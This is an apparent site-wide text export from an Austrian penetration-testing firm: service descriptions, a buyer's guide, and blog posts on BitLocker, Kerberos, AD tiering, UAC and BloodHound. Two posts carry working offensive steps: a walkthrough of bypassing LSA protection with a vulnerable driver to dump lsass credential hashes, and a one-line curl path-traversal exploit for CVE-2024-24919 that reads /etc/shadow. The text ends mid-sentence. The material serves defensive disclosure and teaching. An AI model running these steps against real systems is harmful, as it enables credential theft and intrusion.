# VidraSec - Full Site Content for Language Models > Source: https://www.vidrasec.com/llms-full.txt > Generated: 2026-06-05 > For a structured summary see: https://www.vidrasec.com/llms.txt --- ## Active Directory Audit URL: https://www.vidrasec.com/services/active-directory-audit/ Description: Active Directory Audit: Test and audit your AD for a second line of defense against ransomware – white-box, vulnerabilities and misconfigurations. Ransomware attacks are on the rise, and the ones with the highest impact take over the whole Active Directory. We must secure these systems to minimize the risk of having our data encrypted and put up for sale on the internet! Active Directory delivers extensive functionality; however, its complexity can often lead to security vulnerabilities. Given the critical role it plays in user management, any security flaw can have severe implications — from privilege escalation to full domain takeover. This audit focuses on on-premise Active Directory. Entra ID (Microsoft’s cloud identity platform) is a different system and is covered by a separate Entra ID Audit. VidraSec offers services designed to address these challenges head-on. Together, we will develop strategies to fortify your environment against threats. Scope This type of test is typically performed as white-box, meaning that the testers receive full access to the tested system and its documentation. This allows a comprehensive analysis of vulnerabilities and misconfigurations in a short time frame. These are the main focus points of the test: Audit of the implementation status of the tier model and possible vulnerabilities Review of all accounts and their password age Review of the permissions of users, computers, and groups Review of group memberships of highly privileged groups Interview with administrators on how they typically administer the system If present: domain and forest trusts Test for typical vulnerabilities like “Kerberoasting” or (un)constrained delegation Why Forgotten, insecure permissions can be a huge security problem, making attacks extremely easy. These are living systems, and errors occur. Only a regular check can help find them. Having secure administrative processes makes the lives of the attackers very hard. For a comprehensive assessment of the on-premise Active Directory, VidraSec recommends conducting this analysis in conjunction with a penetration test of the internal infrastructure. This approach offers a complete overview of your internal systems’ security posture. Why VidraSec 🦦 I have multiple years of experience attacking and securing Active Directory. If I manage to get Domain Admin permissions after a few days of work, I am sure a real attacker can also do it. Thus, let me demonstrate what is wrong and how to fix it to protect yourself against attacks. Typical Duration 3–5 days (scope-dependent). Reporting takes roughly 30–50% of the test time on top. Typical Price from 8,400 € The final price depends on the scope of the project and the maturity level of your IT security. It is calculated individually based on the required effort. Deliverables Every engagement includes: Written findings report with all vulnerabilities and misconfigurations, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2, ISO 27001, and TISAX (automotive industry). Active Directory security is a standard checkpoint in information security management audits. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services Internal IT Infrastructure Penetration Test Entra ID Audit Cyber Attack Simulation --- ## Internal IT Infrastructure Penetration Test URL: https://www.vidrasec.com/services/internal-it-infrastructure-penetration-test/ Description: Internal IT infrastructure penetration test: Secure your internal network. One click away from 'public' – test your internal IT, second line of defense. What if one of your employees clicks on the wrong email attachment? Will you be able to stop the attack, or will the attackers be able to move laterally from there and take over all your systems? This is why you should conduct an internal infrastructure penetration test. The internal system is just one wrong click away from being “public”. Experience has shown that the externally facing infrastructure is often quite well secured nowadays. However, if you look at the internal network, the story is often sadly different. No encryption used, security mechanisms turned off (legacy software does not support them), or completely outdated software. In the worst-case scenario, these vulnerabilities could lead to a complete compromise of company data. Scope This penetration test can be tailored to focus on specific systems, such as a particular server or the configuration of Windows clients, as determined during the scoping call. Moreover, this test can assess your detection capabilities, although it’s important to note that detection is not the primary focus of a penetration test. These are the main focus points of the test: Penetration test of Active Directory Check whether all recommended countermeasures are in place Identification of vulnerabilities in the network Identification of outdated software in the network Misconfigurations, e.g., Active Directory Certificate Services Test for open file shares with confidential data And overall: can an attacker gain Domain Admin rights in your network? Why Find and fix vulnerabilities in your internal infrastructure Secure your machines so that the impact of attacks is lower Your infrastructure is a living system; only regular checks can help find misconfigurations. Why VidraSec 🦦 I have, many times, gained Domain Admin rights, starting just as a normal user. In many different types of companies, I can tell you that being small or big doesn’t make a difference. If I can do it, an attacker can also do it. And I hope that me explaining the vulnerabilities and how to fix them in a report is more pleasant than an attacker explaining where to send the Bitcoins. Note: This test includes Active Directory testing from an attacker’s perspective (can I reach Domain Admin?). An Active Directory Audit is a separate, deeper white-box analysis of AD configuration — both are complementary and often combined. Typical Duration 3–5 days of testing (up to 2 weeks for large environments). Reporting takes roughly 30–50% of the test time on top. Typical Price from 8,000 € The final price depends on the scope of the project and the maturity level of your IT security. It is calculated individually based on the required effort. Deliverables Every engagement includes: Written findings report with all vulnerabilities, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2 (Article 21 — security of network and information systems), ISO 27001, and TISAX (automotive industry). martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services Active Directory Audit Cyber Attack Simulation --- ## The Penetration Testing Buyer's Guide: Scope Right, Spend Smart URL: https://www.vidrasec.com/blog/penetration-testing-buyers-guide/ Description: Planning to buy a penetration test? Learn how to scope correctly, choose the right methodology, and avoid the most common and expensive mistakes. You’ve decided you need a penetration test. Good call. But before you sign a proposal, there’s a lot that can go wrong: wrong scope, wrong methodology, wrong expectations. The result is a report that collects dust and a budget that got wasted. This guide is written for the people buying pentests, not the people running them. It covers what a pentest actually is, when to do one, what to expect, and how to avoid the most common and expensive mistakes. What a Pentest Actually Is (and What It Isn’t) A penetration test is the manual process of finding vulnerabilities and misconfigurations in IT systems, carried out by an independent human tester. The output is a report that documents every finding, explains why it’s a problem, and tells you how to fix it. Two things are non-negotiable: It must be done by a human. If nobody is actively thinking about how to chain vulnerabilities together, you’re not getting a pentest. You’re getting a vulnerability scan with a fancier invoice. The tester must be independent. Someone who helped build the system cannot objectively test it. They already know where they looked and what they skipped. There’s a newer trend of vendors selling “AI penetration tests.” An automated tool running pre-defined checks is a vulnerability scanner. A skilled tester using AI tools to assist their work is a pentest. The difference matters enormously. A technical audit is a separate but related concept. Where a pentest simulates an attacker, an audit reviews configuration against a baseline: how many admin accounts exist, is patch management documented, are logs being collected? For standard products and platforms, an audit often delivers more value per euro than a pentest. There Is Never a Perfect Time. Stop Waiting. The most common reason organizations delay their first pentest: “We’re in the middle of implementing X. Once that’s done, it’ll make more sense.” After X, there will be Y and Z. IT systems are not static objects that reach a finished state. They grow, change, and accumulate complexity, and complexity is where vulnerabilities live. Attackers don’t wait for your implementation roadmap to complete. Every month you delay is a month during which the weaknesses in your current system are exploitable. The right answer is regular testing, not a single test timed to a milestone. The goal isn’t to certify a snapshot of your infrastructure. It’s to continuously reduce the attack surface as the system evolves. Blackbox, Greybox, Whitebox: Which One Are You Actually Buying? Blackbox testing gives the tester no credentials and no knowledge of the internal systems. The tester works like an unauthenticated external attacker. This is the natural starting point for an external IT infrastructure penetration test. The problem: an external attacker with no credentials rarely finds anything that a vulnerability scanner wouldn’t also find. If your external systems are reasonably patched and configured, a blackbox test often comes back with low-to-medium findings, not because your systems are secure, but because the most dangerous vulnerabilities only reveal themselves once an attacker is already inside. Greybox testing (where the tester receives valid user credentials or partial knowledge) is almost always a better use of budget. It simulates the realistic scenario: a phishing attack succeeded, or a disgruntled employee has access. This is where the interesting findings live, and it’s the default approach for an internal IT infrastructure penetration test. Whitebox testing gives the tester full access to documentation, source code, and configuration. It’s the most thorough option and the right choice for critical systems or software development pipelines. My honest opinion: external blackbox tests, done repeatedly year after year without changing the methodology, are often the most expensive way to learn the least. Before you renew that contract, ask yourself what you actually learned last time. Scope and Pricing: Why This Isn’t a Sales Job Pentests are not cheap. That’s fine: when the quality and scope are right, they’re worth every cent. The issue is that scope and pricing decisions are often made by salespeople who don’t do the testing. A salesperson can quote you hours and a day rate. They cannot tell you whether your environment needs 20 hours or 80 hours, whether an external test or an internal assessment will find more value, or which systems carry the most risk. That decision requires someone who has done this before, ideally hundreds of times. An experienced pentester asking the right questions before writing a proposal is a sign of a serious provider. A fast turnaround on a standardized quote without a scoping conversation is a red flag. The right scoping conversation starts with your motivation: Are you doing this because compliance requires it? Did you recently migrate something critical to the cloud? Are you worried about insider threats? Is this your first test, or a follow-up to remediation? The answer to these questions should directly shape what gets tested, how, and for how long. Managing Expectations: What a “Clean” Report Actually Means There is a common fear among people commissioning pentests: what if the tester finds nothing? In my experience, there has never been a pentest that found zero vulnerabilities. But there’s also a difference between a test that uncovers a critical chain of vulnerabilities leading to full domain compromise and one that returns five medium-severity findings. Both are valuable. Here’s why: External perimeter tests often don’t find critical vulnerabilities. And that’s actually the goal. Your external attack surface should be hardened. Finding that it is gives you confidence and data. If you’re expecting a tester to compromise your servers from five IP addresses with no credentials, you’ve either watched too many hacking films or your infrastructure has serious problems. Internal assessments are a different story. In my experience, critical vulnerabilities are common once you’re inside the network. Misconfigurations in Active Directory, excessive privilege delegation, outdated internal services: these show up regularly. Even low and medium findings deserve attention. Most real-world attacks don’t use a single critical vulnerability. They chain several smaller weaknesses together. A medium finding that seems harmless in isolation might be the link that makes a chain possible. Fixing it removes a stepping stone. The goal of a pentest is not to embarrass your team. It’s to find what they couldn’t find themselves, not because they’re incompetent, but because anyone building a system doesn’t have the headspace to test every assumption they’ve made along the way. Starting Your First Pentest: Smaller Is Smarter If this is your first pentest, do not let a provider sell you a massive engagement. Here’s what typically happens on a first assessment: it doesn’t take long to find critical vulnerabilities. The internal IT team then spends months remediating them. A huge, weeks-long test during that phase produces a report that’s impossible to act on: you’re overwhelmed before you’ve fixed the basics. A better approach: Start focused. Test the most exposed or highest-value systems first. A scoped initial assessment gives you a clear picture of where you stand without overwhelming your team. Fix what you find. Give your team time to remediate before testing again. Go deeper next time. Once the obvious weaknesses are gone, longer tests are worth more because the tester has to work harder to find anything. Security is a process, not a project. A good pentest provider sizes their engagements to match where you actually are in that process, not to maximize their invoice. Questions to Ask Before You Sign Use these to evaluate a provider or scope a proposal: Who will actually be running the test, and what is their background? Does the scoping call involve a tester, or only a sales contact? Are you proposing blackbox testing, and if so, why is that the right choice for our environment? What deliverables are included, and can I see a sample report? (VidraSec publishes example reports so you know exactly what you’re getting.) What is your process for handling critical findings during the engagement? Do you recommend follow-up testing after remediation, and how is that structured? A provider who pushes back thoughtfully on these questions, rather than just answering them, is usually the right choice. Summary Question Short Answer Pentest vs. vulnerability scan Manual, human-driven, independent tester When to start Now. Not after X is finished. Blackbox vs. greybox Greybox nearly always delivers more value Who scopes the project A tester, not a salesperson First pentest size Start small, remediate, then go deeper “Clean” report Still valuable: confidence is a deliverable The market has plenty of providers who will happily sell you a compliance checkbox. The ones worth working with are the ones who tell you when a different approach would serve you better. Questions about scoping your next pentest? Get in touch. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## Bypassing BitLocker Without a Screwdriver: bitpixie and What You Can Do About It URL: https://www.vidrasec.com/blog/bitlocker-bitpixie/ Description: There is a vulnerability that allows bypassing BitLocker without special hardware. How bitpixie works and how to protect yourself: pre-boot auth, Secure Boot, PCR validation. BitLocker is always a topic in Windows client pentests. For full-disk encryption not to be easily bypassed, BitLocker must be configured securely. There is in fact a vulnerability that can be used to bypass BitLocker without special hardware – and in principle anyone can exploit it. This post covers the bitpixie attack, why BitLocker’s default mode is vulnerable, and what you can do about it. Table of Contents Table of Contents BitLocker in TPM-only mode: convenient but vulnerable The attack: bitpixie What you can do about it 1. Pre-boot authentication (BitLocker PIN) 2. Updates for Secure Boot signatures 3. Adjust PCR validation profiles in BitLocker Summary BitLocker in TPM-only mode: convenient but vulnerable By default, BitLocker runs in TPM-only mode. Decryption is transparent: no extra password is required; the TPM checks the environment and releases the key when everything looks “trusted.” That’s convenient for users. The catch: almost all attacks on BitLocker target exactly this configuration. Without an extra hurdle before boot, an attacker can, under certain conditions, obtain the key. Pre-boot authentication (an additional BitLocker PIN before Windows starts) prevents most of these attacks. A BitLocker PIN is unpopular – but without it you need a very deliberate configuration to achieve similar protection. The attack: bitpixie A relatively recent and particularly relevant attack is bitpixie: it works regardless of hardware. No special adapters or physical access to the device is required. In short: The attacker tricks the TPM into believing a trusted operating system is booting. The TPM releases the BitLocker key. The key can be read from memory. That allows bypassing BitLocker under TPM-only conditions without opening the case. A detailed blog post that explains and lets you reproduce the attack is here: BitLocker: Screwed without a screwdriver (Neodyme) What you can do about it Three main measures significantly reduce the risk: 1. Pre-boot authentication (BitLocker PIN) Pre-boot authentication (an extra PIN before Windows starts) prevents the TPM from releasing the key without this second factor. That blocks most attacks that rely on “boot and grab the key” – including bitpixie in its typical form. Without pre-boot authentication you are never fully safe from such scenarios – with a PIN you make it much harder for attackers. 2. Updates for Secure Boot signatures Keep Secure Boot and its related signatures up to date. UEFI/BIOS and Windows updates often change the Secure Boot chain and the components that are measured. That makes it harder to mimic a “trusted” boot. 3. Adjust PCR validation profiles in BitLocker This is the most technically interesting lever: PCR validation profiles define which components are integrity-checked before the TPM releases the BitLocker key. More components checked generally means more hurdles for attacks. You can configure this via Group Policy: “Configure TPM platform validation profile for native UEFI firmware configurations” In particular PCR 4 (MBR) matters: including it in validation protects against bitpixie. The recommendation is to enable these PCRs: 0, 2, 4, 7, and 11 That brings the boot code (MBR) into the chain of trust – exactly what attacks like bitpixie exploit when that component isn’t checked. Summary Measure Benefit Pre-boot authentication (PIN) Prevents most attacks where the TPM key is released without user interaction. Secure Boot updates Current signatures and boot chain make it harder to fake a trusted boot. PCR validation (0, 2, 4, 7, 11) Extends integrity checks (including MBR/PCR 4) and specifically protects against bitpixie. Without pre-boot authentication you are never fully secure – but with a PIN, current Secure Boot updates, and adjusted PCR validation profiles you make it much harder for attackers. Have you ever had the security of your standard Windows client (including BitLocker configuration) tested in a pentest? We’re happy to discuss. For questions on BitLocker, Windows clients, or pentests: contact VidraSec. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## Dump Hashes in Windows 11 24H2 URL: https://www.vidrasec.com/blog/dump-hashes-in-windows-11-24h2/ Description: In this blog post, I describe how I managed to extract password hashes from the lsass.exe process memory in Windows 11 24H2. In this blog post, I describe how I managed to read password hashes from the lsass.exe process memory in Windows 11 24H2. Since this version was still very new at the time of writing this post, some of the issues are due to a lack of tool support and should be resolved in the future. However, this post may also help in adapting the tools for later Windows versions. Table of Contents Bypassing LSA Protection Reading the Hashes Credential Guard Summary I was preparing a hacking demo. I wanted to show a few standard tasks you do in a pentest. One of these was reading the lsass.exe process memory, i.e., dumping password hashes. I must have done this a hundred times before. But this time, it just wouldn’t work. I spent several evenings isolating, debugging, and fixing the issues. This blog post describes my approach. The source of all the problems is Windows 11 24H2. At the time of writing, the version was still relatively new and not really supported by tools. Additionally, there are a few security measures that are enabled by default in Windows 11: LSA Protection (PPL Protection) Vulnerable Driver Blocklist (interestingly, this wasn’t an issue, which may also be due to the disabled Windows Defender) Credential Guard (in parentheses because it wasn’t active in my VM due to lack of hardware support) Overall, this means that we need to bypass LSA Protection. However, the Vulnerable Driver Blocklist should make this more complicated (in theory). Bypassing LSA Protection In simple terms, LSA Protection just sets a flag on the lsass.exe process that prevents access to the process memory, even with Local System rights. The classic bypass for this is to load a vulnerable kernel driver that allows such access. It needs to be vulnerable because that’s the only way I can execute my own code in its context. Since kernel drivers need to be signed, I can’t just write my own driver. There are a many options here (see also https://www.loldrivers.io/), but the Vulnerable Driver Blocklist makes it more difficult for us. It blocks known vulnerable drivers. There are already some ready-made tools to perform this attack, like dellicious. This isn’t a typo; the tool is named this way because a vulnerable Dell driver is exploited. Now we have a problem. The tool doesn’t support Windows 11 24H2. Luckily, this is easy to fix. We just need to find the kernel offsets for our Windows version and adjust them in the code. This can be done with WinDBG. Open File > Attach to Kernel > Local, then load the symbols with the following commands: .symfix .reload Then display the EPROCESS structure: dt nt!_EPROCESS From the output, extract the values for UniqueProcessId, ActiveProcessLinks, and SignatureLevel: +0x1d0 UniqueProcessId : Ptr64 Void +0x1d8 ActiveProcessLinks : _LIST_ENTRY +0x5f8 SignatureLevel : UChar Now insert these into dellicious. I did this in this commit: https://github.com/VidraSec/dellicious/commit/56c82bb7a2901baafeb8056deb6f13d8ad24da91 You can find the full repo here: https://github.com/VidraSec/dellicious/ What’s still missing are the vulnerable Dell drivers. They can be found with some internet research. Important: You should verify the hashes beforehand. PS> .\dellicious.exe -p 856 -e 0 -d .\driver\ [+] User provided pid: 856 [+] User provided driver directory: .\driver\ [+] Windows version found: 26100 [+] Using offsets: UniqueProcessIdOffset = 0x1d0 ActiveProcessLinkOffset = 0x1d8 SignatureLevelOffset = 0x5f8 [+] Attempting driver install... [+] Driver installed! [+] Device handle has been obtained @ \\.\DBUtil_2_5 [+] Ntoskrnl base address: fffff805b9c00000 [+] PsInitialSystemProcess address: ffffc102b46a0040 [+] Target process address: ffffc102bbf61080 [+] Current SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer bits (plus 5 bytes): 40c00000000000 [+] Writing flags back as: 40c00000000000 [+] Done! [+] Removing device [!] Clean exit! o7 Great, now we have access to the lsass.exe process without PPL. This means we can, for example, use the Task Manager to create a dump. Reading the Hashes Now we have another problem. Neither Mimikatz nor pypykatz can parse the file. This is due to how the parsing works. The program searches for a specific byte sequence, the “signature.” From this memory location, the program finds the pointers to LogonSessionList and LogonSessionListCount. This tells the program where the logon data is located in the file. How do I know all this? Thanks to this excellent blog post: https://www.praetorian.com/blog/inside-mimikatz-part2/ These values are all hardcoded and have changed in Windows 11 24H2. Additionally, the logic has changed slightly. To find the new values, one must disassemble lsasrv.dll (e.g., with Ghidra). Therefore, everything needs to be adjusted for Windows 11 24H2. Since I didn’t have deep enough knowledge on this topic, I needed help and opened an Issue in the pypykatz repository. Thanks a lot to SkelSec for quickly implementing the new logic! With the current pypykatz version, we can now extract the credentials from our dump file. pypykatz lsa minidump ./dump.DMP == LogonSession == authentication_id 278102 (43e56) session_id 1 username highpriv domainname WIN11 logon_server WIN11 logon_time 2025-02-27T11:44:50.975151+00:00 sid S-1-5-21-800810350-130866625-3627431900-1001 luid 278102 == MSV == Username: highpriv Domain: WIN11 LM: NA NT: 83ae0f1e4d3eebb222aee30e865b3336 SHA1: bd2f0e14880fa891001a05b5cff2fe5568bd3f7b DPAPI: bd2f0e14880fa891001a05b5cff2fe5568bd3f7b Credential Guard It wasn’t active in my case. However, if it had been active, I would have received an encrypted blob instead of the NT hashes. To bypass Credential Guard, one more step is required. I recommend this blog post for further reading: https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22 Summary It would be easy to say that all these security features are useless because they can be bypassed. In my opinion, that’s too simplistic. Without these additional measures, it’s extremely easy to read hashes. I spent several hours and needed a lot of detailed knowledge. Therefore: Yes, all security features should be enabled. But no system is ever 100% secure. I can only make it as difficult as possible for attackers. --- ## Kerberos: How the Authentication Protocol Works URL: https://www.vidrasec.com/blog/kerberos/ Description: How does the Kerberos protocol actually work? The shortest possible explanation to understand this quite complex protocol. Kerberos works similarly to a passport: A passport authority issues the passport after the person has identified themselves. With this passport, they can then go to the border and prove their identity. Kerberos and the Passport Analogy Two key principles of this analogy also apply to Kerberos: Border officers can verify the passport independently without having to contact the passport authority. The passport only serves for identification; it is up to the border officers to decide whether someone is allowed to travel. The Kerberos Authentication Process Authentication at the Domain Controller The user authenticates with the Domain Controller. The Domain Controller issues a Ticket-Granting Ticket (TGT), which is signed with the secret KRBTGT hash—a key known only to the Domain Controller. Secure Exchange of the Session Key Additionally, the Domain Controller sends a Session Key, which is encrypted with the NT hash (or the encrypted password derivative) of the user. Only the user can decrypt this key and use it further. Important Security Aspects Kerberos authenticates the user through possession of a valid TGT, but does not explicitly verify the password on every request. The encrypted information is based on the user’s password, meaning an attacker could intercept the ticket and attempt to crack the plaintext password via offline brute-force attacks. This is particularly problematic if the Do not require Kerberos preauthentication flag is set. This allows any user in Active Directory to request a ticket for another user. However, to use the ticket, the user’s password is required. This attack is called AS-REP Roasting. Golden Ticket Attack A particularly critical attack is the Golden Ticket Attack: If an attacker obtains the KRBTGT hash, they can generate arbitrary TGTs and gain unrestricted access. Accessing Services with Kerberos After authentication, the user can access a service: The user requests a Service Ticket (TGS) from the Domain Controller for the desired service. The Domain Controller issues the Service Ticket, which is encrypted with the password hash of the service account. The user sends this ticket to the Service Server (the system they want to log into) to gain access. The Service Server verifies the ticket by decrypting it with its own password hash. If the ticket is valid, the service grants access. Security Recommendations Use strong service account passwords: Since service tickets are encrypted with the password hash of the service account, service accounts should have strong, long passwords. A weak password could be cracked with Kerberoasting attacks. Regularly rotate the KRBTGT hash: If the KRBTGT hash is compromised, administrators must rotate it twice to prevent Golden Ticket attacks. Enable Kerberos Pre-Authentication: This prevents attackers from performing AS-REP Roasting by collecting unencrypted ticket data. Kerberos is a powerful authentication protocol, but it must be securely configured and monitored to prevent attacks. You can also find this information in this YouTube video (sorry, only in German): Questions and Contact If you have any more questions, contact VidraSec! +43 670 3081275 martin​@​vidrasec.com Book appointment --- ## Active Directory Tiering: Terminal Servers and Helpdesk URL: https://www.vidrasec.com/blog/active-directory-tiering/ Description: In this blog post, I will briefly address two often overlooked vulnerabilities and misconfigurations in the Active Directory Tiering model. In this blog post, I will briefly address two often overlooked vulnerabilities and misconfigurations in the Active Directory Tiering model. Specifically, I will focus on the mishandling of terminal servers and the helpdesk user group. Proper Classification of Terminal Servers A common misconception in practice concerns the correct classification of terminal servers within the Active Directory Tiering model. Terminal servers, including Citrix systems, allow users to connect to a virtual desktop environment. These systems are often mistakenly classified as Tier 1, simply because they are servers. Why Terminal Servers Belong in Tier 2 From a tiering perspective, terminal servers are clients, as regular users log in there. A compromised user account poses a significant threat, as attackers can gain access through a successful phishing attack or another attack method. Once an attacker has access, they only need to exploit a Privilege Escalation—new vulnerabilities in this area are continuously discovered and published. If successful, the attacker can work as a local administrator on the terminal server and compromise logged-in accounts. If a Tier 1 administrator is among them, the entire security structure is at risk. Conclusion ➡ Terminal servers must be considered as clients and therefore belong in Tier 2! This misconfiguration regularly occurs during penetration tests and has played a decisive role in achieving Domain Admin status in the past. The tier model is an effective protective measure, but only if it is consistently and thoughtfully implemented. Securing Helpdesk Rights In many companies, alongside administrators, there is a Helpdesk responsible for various tasks, including resetting passwords or fixing client issues. Typically, helpdesk employees do not have direct access to servers, and therefore are assigned to Tier 2. Critical Misconfigurations in the Helpdesk Area There are two fundamental configuration mistakes that companies typically overlook in order to prevent uncontrolled privilege escalation: Can the Helpdesk reset a Domain Administrator’s password? Can the Helpdesk perform administrative tasks on a Domain Administrator’s client machine? If these questions cannot be clearly answered with No, there is a risk that an attacker may gain access to higher privileged accounts through the helpdesk and undermine the entire security model. A Often Overlooked Danger A less obvious but equally critical risk exists in the possibility that the helpdesk can reset the passwords of executives: Can the Helpdesk reset the CEO’s or CFO’s password? Although this point is often ignored, a CFO’s account is often more valuable to attackers than a Domain Administrator’s account. Financial transactions, business communication, and confidential documents are attractive targets for attacks. ➡ An attacker doesn’t need ransomware if they have direct access to the company’s bank account. Testing the Tier Model in Practice The Tier Model is a central security measure to make attacks within a corporate network more difficult. However, it can only fully protect if it is regularly reviewed and tested. Have you already tested your Active Directory? Only through targeted security reviews and penetration tests can the actual risk be assessed and potential vulnerabilities closed in time. Contact VidraSec now for more information! martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## UAC Bypass URL: https://www.vidrasec.com/blog/uac-bypass/ Description: This article is about User Account Control (UAC). But what exactly is that and how can it be bypassed? What do we see in the photo? The settings for User Account Control (UAC). But what exactly is that and how can it be bypassed? UAC is an important security feature that was introduced with Windows Vista. Even if you have local admin rights, applications by default run with restricted rights. If admin rights are needed, the program must be manually started as an admin. This concept is called “Mandatory Integrity Control” or “Integrity Levels.” What are the IT security implications of this? If I accidentally run malware, it will only have limited rights. Still bad, but better. Therefore, this is an important security feature and should always be active. The problem in the screenshot: The default UAC setting in the screenshot does not require confirmation for changes to Windows settings. At first glance, this might seem fine, but it is not. If the slider is set to this level, UAC can be easily bypassed and a program can easily gain admin rights. Microsoft does not consider UAC a security boundary, so the vulnerability will not be fixed. Okay, what is the countermeasure? Fortunately, it’s simple: the slider should always be set to the highest level, “Always Notify.” However, this setting can also be bypassed. Therefore, UAC is not a true security measure, but in my opinion, it can still protect against some attackers. Much more important: Especially in the corporate environment, I should never work with local admin rights. Still, I always recommend setting the slider to the highest level via Group Policy because there are often 1-2 exceptions who have local admin rights. Below is a video of the exploit: Contact For further questions about Windows security, feel free to contact VidraSec. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## BloodHound Introduction for Admins URL: https://www.vidrasec.com/blog/bloodhound-intro/ Description: BloodHound is not just a tool for attackers. Admins can also benefit from it. This article is an introduction for admins. BloodHound is a tool developed by penetration testers and red teamers to better identify and visualize attack paths in Active Directory. However, that doesn’t mean it can’t also be used effectively by admins or the blue team. What is BloodHound? BloodHound consists of two or three components: Collector (collects the information) Database and UI (visualizes the collected data) Collector The Collector is a small program that gathers information about Active Directory and writes it to a file. The program is independent of the database and UI and only collects data for further use. Database and UI The second component of BloodHound is a Neo4j database and a UI for it. Once we have collected the data with the Collector, it can be imported via the UI. This component is where we spend most of our time. It offers a way to query and visualize the data. Installation For the actual installation, I refer to the GitHub repo or the official documentation: https://github.com/SpecterOps/BloodHound/wiki I always install BloodHound on a Linux VM, but that’s a matter of preference. The Collector can be downloaded either directly from the BloodHound UI or from here on GitHub: https://github.com/BloodHoundAD/SharpHound/releases After a successful installation, the following URLs/ports should be accessible: http://localhost:8080/ui/login http://localhost:7474/ and port 7687 Usage Collector First, we run the Collector to gather the data. It is important that the version of the Collector matches the version of the UI, as the file format sometimes changes. The Collector must be run on a system that can access the domain controller. The easiest way is to run the Collector on a domain computer under a domain account. The account doesn’t need special permissions. Note: The Collector will most likely be detected as malware. Therefore, an exception must be added. Also, ensure that the program comes from a trusted source. In most cases, simply double-clicking the exe file is enough. Depending on the size of the Active Directory, it may take a little while to complete (from a few seconds to several hours). In the end, a few JSON files or a ZIP file should appear next to the exe file. If this doesn’t happen, sometimes simply running it again helps. Database and UI This component should now be running and accessible via a web interface. Using the import button, we can upload the collected data. Again, depending on the size of the Active Directory, this may take a little while. Then, we can already try out the built-in queries and, for example, visualize who the domain admins are. If this query returns many accounts, it is usually already a pentest finding. However, this can also be queried easily with native tools. The more interesting queries are a bit more complex. I will cover these in the next chapter. Queries In my opinion, the BloodHound UI is not so useful for admins. It becomes more interesting when you use the Neo4j console. In this, you make queries in the “Cypher” query language and get textual output. You can access it in your browser at http://localhost:7474/browser/. The default login credentials are: User: neo4j Pass: bloodhoundcommunityedition The query language is unfortunately not easy to understand. It takes a little time to get used to it. Here are some useful queries: Old Passwords The following query outputs accounts that haven’t changed their password in a long time. Regular users don’t have to change their password regularly. However, if other accounts appear here, it should be checked: MATCH (u:User) WHERE u.enabled = true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) RETURN u.name as Username, datetime({epochSeconds: toInteger(u.pwdlastset)}) as PwdLastSet order by u.pwdlastset The query specifically checks if there are active users whose password hasn’t been changed for 5 years (= 1825 days * 86400 seconds per day). The data will then be displayed in a table. Domain Admins with Old Passwords This query is restricted to domain admins. Since these accounts are particularly important, accounts with passwords older than 3 years are listed: MATCH p=(n:Group)<-[:MemberOf*1..]-(u) WHERE n.objectid =~ "(?i)S-1-5-.*-512" WITH u MATCH (u) WHERE (u.pwdlastset < (datetime().epochseconds - (1095 * 86400))) WITH u.name AS Username, datetime({epochSeconds: toInteger(u.pwdlastset)}) AS PwdLastSet ORDER BY u.pwdlastset RETURN DISTINCT Username,PwdLastSet Unused Users The following query outputs active accounts that haven’t changed their password for 5 years and haven’t logged in for 5 years: MATCH (u:User) WHERE u.enabled = true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) and u.lastlogontimestamp < (datetime().epochseconds - (1825 * 86400)) RETURN u.name as Username, datetime({epochSeconds: toInteger(u.pwdlastset)}) as PwdLastSet, datetime({epochSeconds: toInteger(u.lastlogontimestamp)}) as LastUsed order by u.pwdlastset Percentage of Active Users Finally, a query that outputs the percentage of active accounts. This is sometimes helpful to see if there are many “zombie” accounts in AD. // Count the total number of users MATCH (uTotal:User) with count(uTotal) as TotalUsers // Count the enabled users match (uEnabled:User) where uEnabled.enabled with TotalUsers, count(uEnabled) as EnabledUsers return TotalUsers, EnabledUsers, EnabledUsers/(TotalUsers/100.0) as PercentageEnabled Summary As we can see, BloodHound can also be interesting for admins. The queries are just examples. There are many other queries that could be useful depending on the environment. Should you have any further questions Windows security, feel free to reach out to VidraSec for expert advice! martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## Exploit CheckPoint vulnerability with one simple command URL: https://www.vidrasec.com/blog/checkpoint-cve/ Description: How to exploit the new vulnerability in the CheckPoint VPN Gateway (CVE-2024-24919)? What information can an attacker extract? This week, a vulnerability in the CheckPoint VPN Gateway (CVE-2024-24919) was disclosed. Unfortunately, CheckPoint has provided us with very little information about the impact of this vulnerability. I want to change that! I will show how the vulnerability can be exploited and what information an attacker can extract. First and foremost, to fix the vulnerability, you need to: Patch the vulnerability. Change the passwords of the accounts in the VPN gateway. Change the passwords of the VPN service accounts in Active Directory. Change all secrets such as the TLS certificate or SSH keys. Ideally, newly setup your VPN Gateway. A detailed description from CheckPoint can be found here: https://support.checkpoint.com/results/sk/sk182336 Exploitation and Impact Unfortunately, I found little concrete information on what “potentially confidential information” an attacker “could” extract. Therefore, I looked into it myself. CheckPoint, of course, doesn’t want to show how to exploit the vulnerability. However, since this is already available on the internet, I will show you how it works and what information an attacker can actually extract. Exploit This is one of the simplest exploits I’ve ever seen. I have no idea why it hasn’t been known for longer. The following curl command exploits the vulnerability: curl -k $'https:///clients/MyCRL' -X $'POST' --data-binary $'aCSHELL/../../../../../../../etc/shadow' That’s all. In response, I receive the shadow file back, which contains the admin password as a salted MD5 hash. admin:$1$XXXX$XXXXXX:00000:0:00000:0::: [...] This vulnerability allows me to read any files on the system as root, such as SSH keys or the TLS certificate. Impact As we can see, exploitation is very simple. An 